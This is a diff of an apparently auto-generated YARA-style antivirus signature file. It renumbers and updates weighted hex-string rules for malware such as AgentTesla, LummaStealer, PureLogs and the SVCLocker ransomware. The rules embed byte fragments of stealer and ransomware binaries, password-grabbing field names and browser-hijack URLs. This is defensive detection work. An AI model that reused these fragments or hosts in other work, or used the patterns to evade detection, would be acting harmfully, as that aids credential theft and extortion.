>=5 } -rule _InfrastructureShared_12785{ +rule _InfrastructureShared_13616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -143079,7 +152523,7 @@ rule _InfrastructureShared_12785{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24947+(#a_54_2 & 1)*27719+(#a_74_3 & 1)*11895+(#a_6f_4 & 1)*21249) >=5 } -rule _InfrastructureShared_12786{ +rule _InfrastructureShared_13617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -143094,7 +152538,7 @@ rule _InfrastructureShared_12786{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*-32736+(#a_61_2 & 1)*26960+(#a_73_3 & 1)*21295+(#a_ff_4 & 1)*28279+(#a_00_6 & 1)*47) >=5 } -rule _InfrastructureShared_12787{ +rule _InfrastructureShared_13618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -143110,7 +152554,7 @@ rule _InfrastructureShared_12787{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*27758+(#a_57_2 & 1)*21076+(#a_00_3 & 1)*109+(#a_00_4 & 1)*104+(#a_00_5 & 1)*8194+(#a_79_6 & 1)*26625) >=5 } -rule _InfrastructureShared_12788{ +rule _InfrastructureShared_13619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -143123,7 +152567,7 @@ rule _InfrastructureShared_12788{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*58+(#a_6f_2 & 1)*17006+(#a_52_3 & 1)*29541) >=6 } -rule _InfrastructureShared_12789{ +rule _InfrastructureShared_13620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143138,7 +152582,7 @@ rule _InfrastructureShared_12789{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_72_2 & 1)*14930+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_12790{ +rule _InfrastructureShared_13621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143153,7 +152597,7 @@ rule _InfrastructureShared_12790{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*25188+(#a_57_2 & 1)*21076+(#a_65_3 & 1)*26981+(#a_45_4 & 1)*8993+(#a_00_5 & 1)*-11381) >=6 } -rule _InfrastructureShared_12791{ +rule _InfrastructureShared_13622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -143168,7 +152612,7 @@ rule _InfrastructureShared_12791{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29793+(#a_61_2 & 1)*28530+(#a_72_3 & 1)*385+(#a_3a_4 & 1)*19521+(#a_7d_5 & 1)*2560) >=6 } -rule _InfrastructureShared_12792{ +rule _InfrastructureShared_13623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -143179,7 +152623,7 @@ rule _InfrastructureShared_12792{ ((#a_4c_0 & 1)*21539+(#a_48_2 & 1)*-11520) >=7 } -rule _InfrastructureShared_12793{ +rule _InfrastructureShared_13624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -143192,7 +152636,7 @@ rule _InfrastructureShared_12793{ ((#a_46_0 & 1)*16675+(#a_8d_1 & 1)*28672+(#a_49_2 & 1)*19770+(#a_41_3 & 1)*13394) >=8 } -rule _InfrastructureShared_12794{ +rule _InfrastructureShared_13625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -143206,7 +152650,7 @@ rule _InfrastructureShared_12794{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*21575+(#a_80_2 & 1)*1+(#a_b8_3 & 1)*0+(#a_65_4 & 1)*26191) >=8 } -rule _InfrastructureShared_12795{ +rule _InfrastructureShared_13626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -143223,7 +152667,7 @@ rule _InfrastructureShared_12795{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25958+(#a_74_2 & 1)*25959+(#a_01_3 & 1)*2304+(#a_72_4 & 1)*29797+(#a_73_5 & 1)*24936+(#a_69_6 & 1)*28005+(#a_4d_7 & 1)*19032) >=8 } -rule _InfrastructureShared_12796{ +rule _InfrastructureShared_13627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -143240,7 +152684,7 @@ rule _InfrastructureShared_12796{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_73_2 & 1)*28793+(#a_73_3 & 1)*25933+(#a_76_4 & 1)*29811+(#a_65_5 & 1)*286+(#a_6e_6 & 1)*27247+(#a_62_7 & 1)*29295) >=8 } -rule _InfrastructureShared_12797{ +rule _InfrastructureShared_13628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -143251,13 +152695,12 @@ rule _InfrastructureShared_12797{ $a_65_3 = {72 65 63 69 73 65 41 73 46 69 6c 65 54 69 6d 65 01 00 0c 01 47 65 74 54 65 6d 70 50 61 74 68 32 01 00 04 01 4d 47 46 31 00 00 78 b8 00 00 09 00 09 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 4a 21 4d 54 42 00 01 00 07 80 01 47 65 74 54 79 70 65 01 00 08 80 01 67 65 74 } //26964 $a_61_4 = {01 00 09 80 01 67 65 74 5f 66 69 6e 61 6c 01 00 17 80 01 41 70 70 6c 69 63 61 74 69 6f 6e 56 65 72 73 69 6f 6e 4d 61 74 63 68 01 00 09 80 01 58 6f 72 4f 62 6a 65 63 74 01 00 09 80 01 41 70 70 44 6f 6d 61 69 6e 01 00 0b 80 01 67 65 74 5f 75 4d 61 69 6c 49 64 01 00 05 80 01 4c 6f 67 69 6e 01 } //24927 $a_01_5 = {67 65 74 5f 75 50 61 73 73 77 6f 72 64 00 00 78 b8 00 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 5a 51 21 62 69 74 00 03 00 0c 01 69 6e 63 68 61 72 33 32 2e 64 61 74 03 00 0e 01 73 74 72 48 6f 6d 65 50 61 67 65 55 72 6c 03 00 13 01 64 77 53 68 6f 77 48 6f 6d 65 50 61 67 65 53 74 61 72 74 01 00 13 01 68 } //3328 - $a_3a_6 = {2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 53 56 43 4c 6f 63 6b 65 72 2e 41 21 4d 54 } //29812 - $a_00_7 = {16 81 } //66 + $a_3a_6 = {2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 5a 50 56 21 4d } //29812 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29441+(#a_74_2 & 1)*25140+(#a_65_3 & 1)*26964+(#a_61_4 & 1)*24927+(#a_01_5 & 1)*3328+(#a_3a_6 & 1)*29812+(#a_00_7 & 1)*66) >=8 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29441+(#a_74_2 & 1)*25140+(#a_65_3 & 1)*26964+(#a_61_4 & 1)*24927+(#a_01_5 & 1)*3328+(#a_3a_6 & 1)*29812) >=8 } -rule _InfrastructureShared_12798{ +rule _InfrastructureShared_13629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -143266,14 +152709,14 @@ rule _InfrastructureShared_12798{ $a_53_2 = {73 74 65 6d 54 69 6d 65 50 72 65 63 69 73 65 41 73 46 69 6c 65 54 69 6d 65 01 00 0c 01 47 65 74 54 65 6d 70 50 61 74 68 32 01 00 04 01 4d 47 46 31 00 00 78 b8 00 00 09 00 09 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 4a 21 4d 54 42 00 01 00 07 80 01 47 65 74 54 79 70 65 01 00 08 80 01 67 } //25927 $a_61_3 = {61 78 01 00 09 80 01 67 65 74 5f 66 69 6e 61 6c 01 00 17 80 01 41 70 70 6c 69 63 61 74 69 6f 6e 56 65 72 73 69 6f 6e 4d 61 74 63 68 01 00 09 80 01 58 6f 72 4f 62 6a 65 63 74 01 00 09 80 01 41 70 70 44 6f 6d 61 69 6e 01 00 0b 80 01 67 65 74 5f 75 4d 61 69 6c 49 64 01 00 05 80 01 4c 6f } //29797 $a_01_4 = {00 0d 80 01 67 65 74 5f 75 50 61 73 73 77 6f 72 64 00 00 78 b8 00 00 0a 00 0a 00 06 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 5a 51 21 62 69 74 00 03 00 0c 01 69 6e 63 68 61 72 33 32 2e 64 61 74 03 00 0e 01 73 74 72 48 6f 6d 65 50 61 67 65 55 72 6c 03 00 13 01 64 77 } //26983 - $a_77_5 = {6f 6d 65 50 61 67 65 53 74 61 72 74 01 00 13 01 68 74 74 70 3a 2f 2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e } //26707 - $a_3a_6 = {53 49 4c 2f 53 56 43 4c 6f 63 6b 65 72 2e 41 21 4d 54 42 00 02 00 16 81 01 5c 6f 62 6a 5c 44 65 62 75 67 5c 73 76 63 68 6f 73 74 2e 70 64 62 02 00 0b 81 01 41 45 53 5f 45 6e 63 72 79 70 74 02 00 0f 81 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 45 6e 63 72 79 70 74 65 64 02 00 12 } //28531 - $a_66_7 = {32 38 39 38 44 65 72 69 76 65 42 79 74 65 73 02 00 1c 81 01 73 76 63 68 6f 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 b8 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 } //385 + $a_77_5 = {6f 6d 65 50 61 67 65 53 74 61 72 74 01 00 13 01 68 74 74 70 3a 2f 2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f } //26707 + $a_3a_6 = {53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 5a 50 56 21 4d 54 42 00 0a 00 62 03 38 4b 00 00 00 11 04 6f 90 01 01 00 00 0a 13 07 20 03 00 00 00 38 d3 ff ff ff 03 72 90 01 01 01 00 70 11 07 11 00 16 11 00 8e 69 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 06 20 01 00 00 00 7e 90 01 01 00 00 04 7b 90 01 01 00 00 04 39 a6 ff ff ff 26 20 00 00 } //24938 + $a_9b_7 = {ff ff 11 04 11 0a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b8 00 00 0c 00 0c } //0 condition: - ((#a_5f_0 & 1)*25635+(#a_53_2 & 1)*25927+(#a_61_3 & 1)*29797+(#a_01_4 & 1)*26983+(#a_77_5 & 1)*26707+(#a_3a_6 & 1)*28531+(#a_66_7 & 1)*385) >=8 + ((#a_5f_0 & 1)*25635+(#a_53_2 & 1)*25927+(#a_61_3 & 1)*29797+(#a_01_4 & 1)*26983+(#a_77_5 & 1)*26707+(#a_3a_6 & 1)*24938+(#a_9b_7 & 1)*0) >=8 } -rule _InfrastructureShared_12799{ +rule _InfrastructureShared_13630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -143284,28 +152727,40 @@ rule _InfrastructureShared_12799{ $a_01_4 = {68 74 74 70 3a 2f 2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d } //1 http://t.go4321.com $a_01_5 = {68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d } //1 http://www.58816.com $a_01_6 = {68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 } //1 - $a_b8_7 = {00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 53 56 43 4c 6f 63 6b 65 72 2e 41 21 4d 54 42 00 02 00 16 81 01 5c 6f 62 6a 5c 44 65 62 75 67 5c 73 76 63 68 6f 73 74 2e 70 64 62 02 00 0b 81 01 41 45 53 5f 45 6e 63 72 79 70 74 02 00 0f 81 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 45 6e } //0 - $a_70_8 = {65 64 02 00 12 81 01 52 66 63 32 38 39 38 44 65 72 69 76 65 42 79 74 65 73 02 00 1c 81 01 73 76 63 68 6f 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 b8 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 33 38 21 4d 54 42 00 0a 00 24 00 30 30 65 32 65 62 30 } //29283 + $a_b8_7 = {00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 5a 50 56 21 4d 54 42 00 0a 00 62 03 38 4b 00 00 00 11 04 6f 90 01 01 00 00 0a 13 07 20 03 00 00 00 38 d3 ff ff ff 03 72 90 01 01 01 00 70 11 07 11 00 16 11 00 8e 69 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 06 20 01 00 00 00 7e 90 01 01 00 00 04 7b 90 01 01 00 } //0 + $a_a6_8 = {ff ff 26 20 00 00 00 00 38 9b ff ff ff 11 04 11 0a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f } //1024 condition: - ((#a_4c_0 & 1)*21539+(#a_70_2 & 1)*16641+(#a_72_3 & 1)*14930+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_b8_7 & 1)*0+(#a_70_8 & 1)*29283) >=9 + ((#a_4c_0 & 1)*21539+(#a_70_2 & 1)*16641+(#a_72_3 & 1)*14930+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_b8_7 & 1)*0+(#a_a6_8 & 1)*1024) >=9 } -rule _InfrastructureShared_12800{ +rule _InfrastructureShared_13631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 5a 51 21 62 69 74 00 03 00 0c 01 69 6e 63 68 61 72 33 32 2e 64 61 74 03 00 0e 01 73 74 72 48 6f 6d 65 50 61 67 65 55 72 6c 03 00 13 01 64 77 53 } //16675 - $a_48_1 = {6d 65 50 61 67 65 53 74 61 72 74 01 00 13 01 68 74 74 70 3a 2f 2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f } //28520 - $a_4c_2 = {63 6b 65 72 2e 41 21 4d 54 42 00 02 00 16 81 01 5c 6f 62 6a 5c 44 65 62 75 67 5c 73 76 63 68 6f 73 74 2e 70 64 62 02 00 0b 81 01 41 45 53 5f 45 6e 63 72 79 70 74 02 00 0f 81 01 52 69 6a 6e 64 61 65 6c } //22099 - $a_61_3 = {65 64 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 45 6e 63 72 79 70 74 65 64 02 00 12 81 01 52 66 63 32 38 39 38 44 65 72 69 76 65 42 79 74 65 73 02 00 1c 81 01 73 76 63 68 6f 73 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 b8 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //24909 - $a_67_4 = {6e 74 54 65 73 6c 61 2e 53 4d 31 33 38 21 4d 54 42 00 0a 00 24 00 30 30 65 32 65 62 30 36 2d 30 36 37 63 2d 34 35 61 61 2d 38 61 38 61 2d 39 30 34 33 38 38 34 33 63 36 30 37 05 00 1f 80 01 43 4c } //12108 - $a_44_5 = {74 61 62 61 73 65 5f 4d 61 6e 61 67 65 72 2e 52 65 73 6f 75 72 63 65 73 01 00 12 01 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 01 00 0e 00 43 6f 75 6e 74 44 6f 77 6e 46 6f 72 6d 73 01 00 10 00 43 65 72 74 69 66 69 63 61 74 65 43 68 65 63 6b 00 00 78 b8 00 00 34 00 34 00 06 } //21589 + $a_48_1 = {6d 65 50 61 67 65 53 74 61 72 74 01 00 13 01 68 74 74 70 3a 2f 2f 74 2e 67 6f 34 33 32 31 2e 63 6f 6d 01 00 14 01 68 74 74 70 3a 2f 2f 77 77 77 2e 35 38 38 31 36 2e 63 6f 6d 01 00 1b 01 68 74 74 70 3a 2f 2f 74 61 6f 62 61 6f 2e 68 61 00 6f 64 69 7a 68 00 69 2e 63 63 00 00 78 b8 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //28520 + $a_65_2 = {6f 67 73 2e 5a 50 56 21 4d 54 42 00 0a 00 62 03 38 4b 00 00 00 11 04 6f ?? 00 00 0a 13 07 20 03 00 00 00 38 d3 ff ff ff 03 72 ?? 01 00 70 11 07 11 00 16 11 00 8e 69 6f ?? 00 00 0a 6f ?? 00 00 06 20 01 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 39 a6 ff ff ff 26 20 00 00 00 00 38 9b ff ff ff 11 04 11 0a } //30032 + $a_01_3 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_4 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_b8_5 = {00 0c 00 0c 00 06 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 53 56 43 4c 6f 63 6b 65 72 2e 41 21 4d 54 42 00 02 00 16 81 01 5c 6f 62 6a 5c 44 65 62 75 67 5c 73 76 63 68 6f 73 74 2e 70 64 62 02 00 0b 81 01 41 45 53 5f 45 6e 63 72 79 70 74 02 00 0f 81 01 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 02 00 12 81 01 62 79 74 65 73 54 6f 42 65 45 6e } //0 condition: - ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*28520+(#a_4c_2 & 1)*22099+(#a_61_3 & 1)*24909+(#a_67_4 & 1)*12108+(#a_44_5 & 1)*21589) >=10 + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*28520+(#a_65_2 & 1)*30032+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_b8_5 & 1)*0) >=10 } -rule _InfrastructureShared_12801{ +rule _InfrastructureShared_13632{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 73 2e 5a 50 56 21 4d 54 42 00 0a 00 62 03 38 4b 00 00 00 11 04 6f 90 01 01 00 00 0a 13 07 20 03 00 00 00 38 d3 ff ff ff 03 72 90 01 01 01 00 70 11 07 } //21539 + $a_11_1 = {8e 69 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 06 20 01 00 00 00 7e } //17 + $a_00_2 = {00 } //400 + condition: + ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*17+(#a_00_2 & 1)*400) >=12 + +} +rule _InfrastructureShared_13633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -143315,12 +152770,12 @@ rule _InfrastructureShared_12801{ $a_72_2 = {6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 33 38 21 4d 54 42 00 0a 00 24 00 30 30 65 32 65 62 30 36 2d 30 36 37 63 2d 34 35 61 61 2d 38 61 38 61 2d 39 30 34 33 38 38 34 33 63 36 30 37 05 00 1f 80 01 43 4c 55 54 5f 44 61 74 61 } //14930 $a_65_3 = {4d 61 6e 61 67 65 72 2e 52 65 73 6f 75 72 63 65 73 01 00 12 01 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 01 00 0e 00 43 6f 75 6e 74 44 6f 77 6e 46 6f 72 6d 73 01 00 10 00 43 65 72 74 69 66 69 63 61 74 65 43 68 65 63 6b 00 00 78 b8 00 00 34 00 34 00 06 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 32 00 32 } //24930 $a_01_4 = {24 61 63 30 34 39 62 66 61 2d 32 64 64 38 2d 34 66 31 61 2d 39 33 31 34 2d 31 31 65 33 66 65 64 36 31 34 35 34 32 00 25 80 01 24 31 31 32 34 39 39 38 64 2d 37 30 38 36 2d 34 64 66 63 2d 38 62 33 37 2d 65 65 64 65 35 63 36 35 63 65 30 30 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 } //9472 - $a_65_5 = {01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 9a 01 9a 01 07 00 21 23 48 53 54 52 3a 53 75 73 70 44 72 69 76 65 72 49 6d 70 6f 72 74 73 00 64 00 10 01 4b 65 49 6e 73 65 72 74 51 75 65 75 65 41 70 63 64 00 17 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 64 00 0f } //28493 + $a_65_5 = {01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 68 00 68 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 41 21 4d 54 42 00 64 00 1c 81 01 63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 16 81 01 73 } //28493 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26962+(#a_72_2 & 1)*14930+(#a_65_3 & 1)*24930+(#a_01_4 & 1)*9472+(#a_65_5 & 1)*28493) >=12 } -rule _InfrastructureShared_12802{ +rule _InfrastructureShared_13634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -143329,26 +152784,40 @@ rule _InfrastructureShared_12802{ $a_74_1 = {62 61 73 65 5f 4d 61 6e 61 67 65 72 2e 52 65 73 6f 75 72 63 65 73 01 00 12 01 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 77 00 01 00 0e 00 43 6f 75 6e 74 44 6f 77 6e 46 6f 72 6d 73 01 00 10 00 43 65 72 74 69 66 69 63 61 74 65 43 68 65 63 6b 00 00 78 b8 00 00 34 00 34 00 06 00 21 23 48 } //17503 $a_3a_2 = {75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 32 00 32 00 25 80 01 24 61 63 30 34 39 62 66 61 2d 32 64 64 38 2d 34 66 31 61 2d 39 33 31 34 2d 31 31 65 33 66 65 64 36 31 34 35 34 32 00 25 80 01 24 31 31 32 34 39 39 38 64 2d 37 30 38 36 2d 34 64 66 } //21587 $a_62_3 = {37 2d 65 65 64 65 35 63 36 35 63 65 30 30 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 } //11619 - $a_67_4 = {6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 9a 01 9a 01 07 00 21 23 48 53 54 52 3a 53 75 73 70 44 72 69 76 65 72 49 6d 70 6f 72 74 73 00 64 00 10 01 4b 65 49 6e 73 65 72 74 51 75 65 75 65 41 70 63 64 00 17 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 72 74 75 61 6c 4d 65 6d 6f 72 } //30050 + $a_67_4 = {6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 68 00 68 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 41 21 4d 54 42 00 64 00 1c 81 01 63 6f 70 6f 73 50 72 6f 6a 65 63 74 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 } //30050 condition: ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*17503+(#a_3a_2 & 1)*21587+(#a_62_3 & 1)*11619+(#a_67_4 & 1)*30050) >=18 } -rule _InfrastructureShared_12803{ +rule _InfrastructureShared_13635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 06 00 21 " strings : $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 32 00 32 00 25 80 01 24 61 63 30 34 39 62 66 61 2d 32 64 64 38 2d 34 66 31 61 2d 39 33 31 34 2d 31 31 65 33 66 65 64 36 31 34 35 34 32 00 25 80 01 24 31 31 32 34 39 39 38 64 2d 37 30 38 36 2d 34 64 } //18467 $a_38_1 = {33 37 2d 65 65 64 65 35 63 36 35 63 65 30 30 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 } //25446 - $a_6e_2 = {01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 73 00 00 78 b8 00 00 9a 01 9a 01 07 00 21 23 48 53 54 52 3a 53 75 73 70 44 72 69 76 65 72 49 6d 70 6f 72 74 73 00 64 00 10 01 4b 65 49 6e 73 65 72 74 51 75 65 75 65 41 70 63 64 00 17 01 5a 77 41 6c 6c 6f 63 61 74 65 56 69 } //29300 - $a_61_3 = {4d 65 6d 6f 72 79 64 00 0f 01 50 73 47 65 74 50 72 6f 63 65 73 73 50 65 62 64 00 19 01 4d 6d 47 65 74 53 79 73 74 65 6d 52 6f 75 74 69 6e 65 41 64 64 72 65 73 73 0a 00 0e 01 46 77 70 6d 46 69 6c 74 65 72 41 64 64 30 0a 00 10 01 52 74 6c 49 6d 61 67 65 4e 74 48 65 61 64 65 72 0a 00 0e 01 5a 77 54 72 61 63 65 43 6f 6e 74 72 6f 6c 00 00 78 b9 00 00 01 } //29810 - $a_48_5 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 